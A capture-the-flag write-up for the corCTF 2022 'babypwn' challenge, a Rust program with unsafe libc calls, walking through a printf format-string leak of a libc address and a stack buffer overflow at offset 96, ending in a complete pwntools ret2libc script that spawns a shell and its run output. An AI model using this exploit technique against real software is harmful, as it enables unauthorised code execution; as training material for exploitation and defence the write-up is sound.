corCTF 2022: babypwn

Just another one of those typical intro babypwn challs... wait, why is this in Rust?

TL;DR

Leak LIBC address via printf() and execute ROP chain by exploiting Stack Buffer Overflow to perform a ret2libc attack with ASLR enabled.

Basic File Checks

The binary first prompts the user for a name, followed by a greeting message that appends our name. Afterwards, it asks for our favorite 🐸 emote, and then prints some wonderful ASCII art.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn    
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
frog
          .......           ...----.
        .-+++++++&&&+++--.--++++&&&&&&++.
       +++++++++++++&&&&&&&&&&&&&&++-+++&+
      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
    -+--+&+       .&&+&&&&&&&&&+--+&+... ..
   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
 .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
 -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.
          .-&&&&@@@@@@@@@@@@@@@&&-
             .-+&&&&&&&&&&&&&+-.
                 ..--++++--.                                  

In terms of binary protection, nothing seems out of the ordinary other than PIE being enabled, which randomizes the base address of the binary each time.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=babypwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   731 Symbols       No    0               9               babypwn

Static Code Analysis

It wouldn't be the Crusaders of Rust without Rust challenges! The source code is provided for this challenge. For context, Rust provides memory safety through its type system and compile time checks. However, the unsafe keyword is used here to tell the compiler to skip these safety checks for the entire chunk of code.

Even though the code is written in Rust, the unsafe block allows foreign LIBC functions to be loaded, essentially wrapping the entire Rust code in C++. These LIBC functions are usually the culprits for memory corruption vulnerabilities.

use libc;
use libc_stdhandle;

fn main() {
    unsafe {
        libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);

        libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
        libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);

        let text = [0 as libc::c_char; 64].as_mut_ptr();
        libc::fgets(text, 64, libc_stdhandle::stdin());
        libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
        libc::printf(text);

        libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
        libc::fgets(text, 128, libc_stdhandle::stdin());
        
        libc::printf(format!("{}\n\0", r#"
          .......           ...----.
        .-+++++++&&&+++--.--++++&&&&&&++.
       +++++++++++++&&&&&&&&&&&&&&++-+++&+
      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
    -+--+&+       .&&+&&&&&&&&&+--+&+... ..
   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
 .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
 -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.
          .-&&&&@@@@@@@@@@@@@@@&&-
             .-+&&&&&&&&&&&&&+-.
                 ..--++++--."#).as_ptr() as *const libc::c_char);
    }
}

Fuzzing printf()

The first noticeable vulnerability is the improper usage of printf that will allow us to leak addresses from the stack. We can use this as a way to leak memory address in order to defeat ASLR (Address Space Layout Randomization) and perform a ret2libc exploit.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn 
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?

To quickly find address leak that might interest us, we can fuzz each offset individually using the format specifier %{}$p.

fuzz.py
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
piebase
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'warning'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# 30: 0x464f8
# Let's fuzz x values
for i in range(100):
    try:
        p = process('./babypwn')
        # Format the counter
        # e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int
        p.sendlineafter(b'?', '%{}$p'.format(i).encode())
        # Receive the response
        p.recvuntil(b'Hi, ')
        result = p.recvline()
        print(str(i) + ': ' + str(result).strip())
        p.close()
    except EOFError:
        passpy

On each fuzzing attempt, notice how the address on certain offset always end with the same 3 bit. Based on previous experience, addresses with the prefix 0x55 are usually memory addresses of the binary; whereas addresses with the prefix 0x7f belongs to LIBC.

To understand what these leaked addresses are referencing exactly, we can use info proc mappings in GDB to show us where everything for the process is mapped in memory:

  • Offset 1 0x7ffcd3181550: [stack]

  • Offset 4 0x564619ddf51b: [heap]

  • Offset 6 0x564619ddf51b: [heap]

  • Offset 7 0x7fc28f597080: /usr/lib/x86_64-linux-gnu/libc.so.6

It is now clear that the 7th offset is the base address where LIBC is loaded at runtime.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn 
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
kali        2194  0.0  0.0   2912   956 pts/0    S+   04:10   0:00 ./babypwn

┌──(kali💀JesusCries)-[~/Desktop]
└─$ sudo gdb -q -p 2194
pwndbg: loaded 141 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Attaching to process 2194

pwndbg> info proc mappings
process 2194
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x5646190b9000     0x5646190be000     0x5000        0x0  r--p   /home/kali/Desktop/babypwn
      0x5646190be000     0x5646190f2000    0x34000     0x5000  r-xp   /home/kali/Desktop/babypwn
      0x5646190f2000     0x5646190fe000     0xc000    0x39000  r--p   /home/kali/Desktop/babypwn
      0x5646190ff000     0x564619102000     0x3000    0x45000  r--p   /home/kali/Desktop/babypwn
      0x564619102000     0x564619103000     0x1000    0x48000  rw-p   /home/kali/Desktop/babypwn
      0x564619421000     0x564619422000     0x1000   0x368000  rw-p   /home/kali/Desktop/babypwn
      0x564619ddf000     0x564619e00000    0x21000        0x0  rw-p   [heap]
      0x7fc28f596000     0x7fc28f598000     0x2000        0x0  rw-p   
      0x7fc28f598000     0x7fc28f5be000    0x26000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fc28f5be000     0x7fc28f713000   0x155000    0x26000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fc28f713000     0x7fc28f766000    0x53000   0x17b000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fc28f766000     0x7fc28f76a000     0x4000   0x1ce000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fc28f76a000     0x7fc28f76c000     0x2000   0x1d2000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fc28f76c000     0x7fc28f779000     0xd000        0x0  rw-p   
      0x7fc28f779000     0x7fc28f77a000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libdl.so.2
      0x7fc28f77a000     0x7fc28f77b000     0x1000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/libdl.so.2
      0x7fc28f77b000     0x7fc28f77c000     0x1000     0x2000  r--p   /usr/lib/x86_64-linux-gnu/libdl.so.2
      0x7fc28f77c000     0x7fc28f77d000     0x1000     0x2000  r--p   /usr/lib/x86_64-linux-gnu/libdl.so.2
      0x7fc28f77d000     0x7fc28f77e000     0x1000     0x3000  rw-p   /usr/lib/x86_64-linux-gnu/libdl.so.2
      0x7ffcd3165000     0x7ffcd3186000    0x21000        0x0  rw-p   [stack]
      0x7ffcd31bd000     0x7ffcd31c1000     0x4000        0x0  r--p   [vvar]
      0x7ffcd31c1000     0x7ffcd31c3000     0x2000        0x0  r-xp   [vdso]

Calculating Offset

Now that we know the 7th offset is particularly interested to us, we can automate the whole process using pwntools and provide GDB as our argument to attach our process to the debugger without doing it manually.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py GDB
[+] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'./babypwn'] : pid 4063
[DEBUG] Received 0x3e bytes:
    b'Process ./babypwn created; pid = 4066\n'
    b'Listening on port 46023\n'
[DEBUG] Wrote gdb script to '/tmp/pwnmhxxd7mp.gdb'
    target remote 127.0.0.1:46023
    continue
[*] running in new terminal: ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp2_5z0qu8']
[DEBUG] Received 0x38 bytes:
    b'Remote debugging from host ::ffff:127.0.0.1, port 49210\n'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0x21 bytes:
    b'Hello, world!\n'
    b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
    b'%7$p\n'
[DEBUG] Received 0x38 bytes:
    b'Hi, 0x7ff5e2182080\n'
    b"What's your favorite :msfrog: emote?\n"

Note that vmmap also produces the same outcome as info proc mappings.

Knowing this information allows us to calculate the offset of address that we leaked in relative to the base address of LIBC. We can do this by performing the following calculation:

__libc_base - leaked_address = offset

It is important to note that this offset is a constant value. Each time we execute the binary, the address at the 7th offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80 bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!

Leaking LIBC Address

Thanks to the buffer overflow that occurs during the second user-input, we can now perform a ret2libc attack using the offset value calculated before this.

Reading the source code should become clear very quickly that the program is reading 128 bytes from the user and place them into the text buffer that is only 64 bytes long. Fuzzing the binary shows that the buffer overflow offset is 96.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ gdb babypwn 

GNU gdb (Debian 13.1-3) 13.1
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

pwndbg> run
Starting program: /home/kali/Desktop/babypwn 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

          .......           ...----.
        .-+++++++&&&+++--.--++++&&&&&&++.
       +++++++++++++&&&&&&&&&&&&&&++-+++&+
      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
    -+--+&+       .&&+&&&&&&&&&+--+&+... ..
   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
 .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
 -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.
          .-&&&&@@@@@@@@@@@@@@@&&-
             .-+&&&&&&&&&&&&&+-.
                 ..--++++--.

Program received signal SIGSEGV, Segmentation fault.
0x000055555555ab5b in babypwn::main::h8f55ddfb4d984bd7 ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────
 RAX  0x0
*RBX  0x6161616161616169 ('iaaaaaaa')
*RCX  0x65
*RDX  0xfffffffffffff000
*RDI  0x20000
 RSI  0x0
 R8   0x0
 R9   0x0
*R10  0x1000
*R11  0x202
*R12  0x616161616161616a ('jaaaaaaa')
*R13  0x5
*R14  0x616161616161616b ('kaaaaaaa')
*R15  0x616161616161616c ('laaaaaaa')
*RBP  0x5555558bdb10 ◂— 0x6e69616d /* 'main' */
*RSP  0x7fffffffdc58 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaa'
*RIP  0x55555555ab5b (babypwn::main::h8f55ddfb4d984bd7+299) ◂— ret 
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────
 ► 0x55555555ab5b <babypwn::main::h8f55ddfb4d984bd7+299>    ret    <0x616161616161616d>
─────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc58 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaa'
01:0008│     0x7fffffffdc60 ◂— 'naaaaaaaoaaaaaaapaaaaaa'
02:0010│     0x7fffffffdc68 ◂— 'oaaaaaaapaaaaaa'
03:0018│     0x7fffffffdc70 ◂— 0x61616161616170 /* 'paaaaaa' */
04:0020│     0x7fffffffdc78 —▸ 0x55555556d140 (std::rt::lang_start_internal::h52e73755f77c7dd9+1056) ◂— movsxd rbx, eax
05:0028│     0x7fffffffdc80 ◂— 0x0
06:0030│     0x7fffffffdc88 ◂— 0x0
07:0038│     0x7fffffffdc90 —▸ 0x7fffff7ff000 ◂— 0x7fffff7ff000
───────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────
 ► 0   0x55555555ab5b babypwn::main::h8f55ddfb4d984bd7+299
   1 0x616161616161616d
   2 0x616161616161616e
   3 0x616161616161616f
   4 0x61616161616170
   5   0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
   6   0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
   7   0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l maaaaaaa
Finding cyclic pattern of 8 bytes: b'maaaaaaa' (hex: 0x6d61616161616161)
Found at offset 96

Using the same formula from previous section, we can now calculate the LIBC base address:

__libc_base = leaked_address + offset

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = leak + 0xf80
libc.address = libc_base

ret2libc

solve.py
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
continue
'''.format(**locals())

# Binary filename
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = 96

# Start program
io = start()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

print(io.recvuntil(b"name?\n"))

io.sendline(b'%7$p')
data = io.recvline()
print(data)

data = data.replace(b"Hi, ", b"")
leak = int(data, 16)
print(f"leak: {hex(leak)}")

# Use GDB "info proc mappings" OR "vmmap" to get address where libc.so.6 is loaded into memory
# pwndbg> x <__libc_start_main> - <address.leak>
libc_base = leak + 0xf80
libc.address = libc_base

print(f"libc_addr @ {hex(libc.address)}")

print(io.recvuntil(b"?\n"))

rop = ROP(libc)
rop.call(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))

io.sendline(flat({96: rop.chain()}))

io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py    
[+] Starting local process './babypwn': pid 3442
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0x21 bytes:
    b'Hello, world!\n'
    b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
    b'%7$p\n'
[DEBUG] Received 0x38 bytes:
    b'Hi, 0x7f1f7f746080\n'
    b"What's your favorite :msfrog: emote?\n"
b'Hi, 0x7f1f7f746080\n'
leak: 0x7f1f7f746080
libc_addr @ 0x7f1f7f747000
b"What's your favorite :msfrog: emote?\n"
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[DEBUG] Sent 0x81 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
    00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  │iaaa│jaaa│kaaa│laaa│
    00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│
    00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 61  │qaaa│raaa│saaa│taaa│
    00000050  75 61 61 61  76 61 61 61  77 61 61 61  78 61 61 61  │uaaa│vaaa│waaa│xaaa│
    00000060  c2 e0 76 7f  1f 7f 00 00  25 e7 76 7f  1f 7f 00 00  │··v·│····│%·v·│····│
    00000070  31 d0 8d 7f  1f 7f 00 00  30 33 79 7f  1f 7f 00 00  │1···│····│03y·│····│
    00000080  0a                                                  │·│
    00000081
[*] Switching to interactive mode
[DEBUG] Received 0x335 bytes:
    b'\n'
    b'          .......           ...----.\n'
    b'        .-+++++++&&&+++--.--++++&&&&&&++.\n'
    b'       +++++++++++++&&&&&&&&&&&&&&++-+++&+\n'
    b'      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-\n'
    b'     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....\n'
    b'    -+--+&+       .&&+&&&&&&&&&+--+&+... ..\n'
    b'   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.\n'
    b' .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--\n'
    b'.++++++++---------+&&&&&&&&&&&&@&&++--+++&+\n'
    b'-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-\n'
    b'.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-\n'
    b' -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&\n'
    b'  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&\n'
    b'   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+\n'
    b'    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-\n'
    b'      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+\n'
    b'        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.\n'
    b'          .-&&&&@@@@@@@@@@@@@@@&&-\n'
    b'             .-+&&&&&&&&&&&&&+-.\n'
    b'                 ..--++++--.\n'

          .......           ...----.
        .-+++++++&&&+++--.--++++&&&&&&++.
       +++++++++++++&&&&&&&&&&&&&&++-+++&+
      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
    -+--+&+       .&&+&&&&&&&&&+--+&+... ..
   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
 .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
 -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.
          .-&&&&@@@@@@@@@@@@@@@&&-
             .-+&&&&&&&&&&&&&+-.
                 ..--++++--.
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x1f bytes:
    b'corctf{why_w4s_th4t_1n_rust???}'
corctf{why_w4s_th4t_1n_rust???}

Flag: corctf{why_w4s_th4t_1n_rust???}

Last updated